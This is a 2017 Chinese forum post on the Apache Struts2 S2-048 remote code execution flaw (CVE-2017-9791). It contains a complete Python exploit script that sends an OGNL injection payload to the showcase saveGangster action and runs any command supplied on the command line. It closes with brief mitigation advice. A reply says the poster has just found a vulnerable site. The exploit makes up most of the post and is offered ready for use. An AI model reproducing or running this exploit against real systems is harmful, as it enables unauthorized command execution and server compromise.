[漏洞分析] Struts2 远程代码执行漏洞(S2-048)附exp

[复制链接]
查看7322 | 回复1 | 2017-7-8 16:31:03 | 显示全部楼层 |阅读模式
       

2017年7月7日,Apache Struts发布最新的安全公告,Apache Structs2的strus1插件存在远程代码执行的高危漏洞,漏洞编号为CVE-2017-9791(S2-048)。攻击者可以构造恶意的字段值通过Struts2的struts2-struts1-plugin的插件,远程执行代码


由于插件默认不开启影响范围较小


exp:
[mw_shl_code=python,true]#!/usr/bin/env python
#coding:utf8
import sys
import requests
requests.packages.urllib3.disable_warnings()

def poccheck(url,cmd='whoami'):
    result = False
    header = {
        'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',
        'Content-Type':"application/x-www-form-urlencoded"
    }
    data="name=${(#o=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#o)(#c=#context['com.opensymphony.xwork2.ActionContext.container']).(#g=#c.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#g.getExcludedPackageNames().clear()).(#g.getExcludedClasses().clear()).(#context.setMemberAccess(#o)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()).(#p=@java.lang.Runtime@getRuntime().exec('%s')).(@org.apache.commons.io.IOUtils@copy(#p.getInputStream(),#o)).(#o.flush())}&age=1212&__checkbox_bustedBefore=true&description=123" % str(cmd)
    if 'integration' not in url:
        url = url + "/struts2-showcase/integration/saveGangster.action"
    try:
        response = requests.post(url,data =data,headers=header,verify=False,allow_redirects = False)
        if response.status_code == 200 and 'struts2-showcase' not in response.content:
            result = response.content
    except Exception as e:
        print str(e)
        pass
    return result

if __name__ == '__main__':
    if len(sys.argv) == 2:
        print poccheck(sys.argv[1])
    elif len(sys.argv) == 3:
        print poccheck(sys.argv[1],sys.argv[2])
    else:
        print ("usage: %s http://www.xxxxxx.com/vuln.action cmd" % sys.argv[0])
        sys.exit(-1)[/mw_shl_code]

临时修复方案
开发者通过使用资源调用方式替代原始值传递方式给ActionMessage的方式。 如下所示:
messages.add("msg", new ActionMessage("struts1.gangsterAdded", gform.getName()));

不要使用如下的方式:
messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " was added"));

在非必要的情况下禁用struts2-struts1-plugin插件。将struts2-struts1-plugin-2.3.x.jar文件从 “/WEB-INF/lib”目录中移动到其他文件夹或者删除。


有人的地方就有江湖。
回复

使用道具 举报

匿名 圣乱X无心 | 2017-7-10 12:59:17 | 显示全部楼层
刚刚找到一个这个漏洞的站
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

匿名

93

主题

224

帖子

3164

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
3164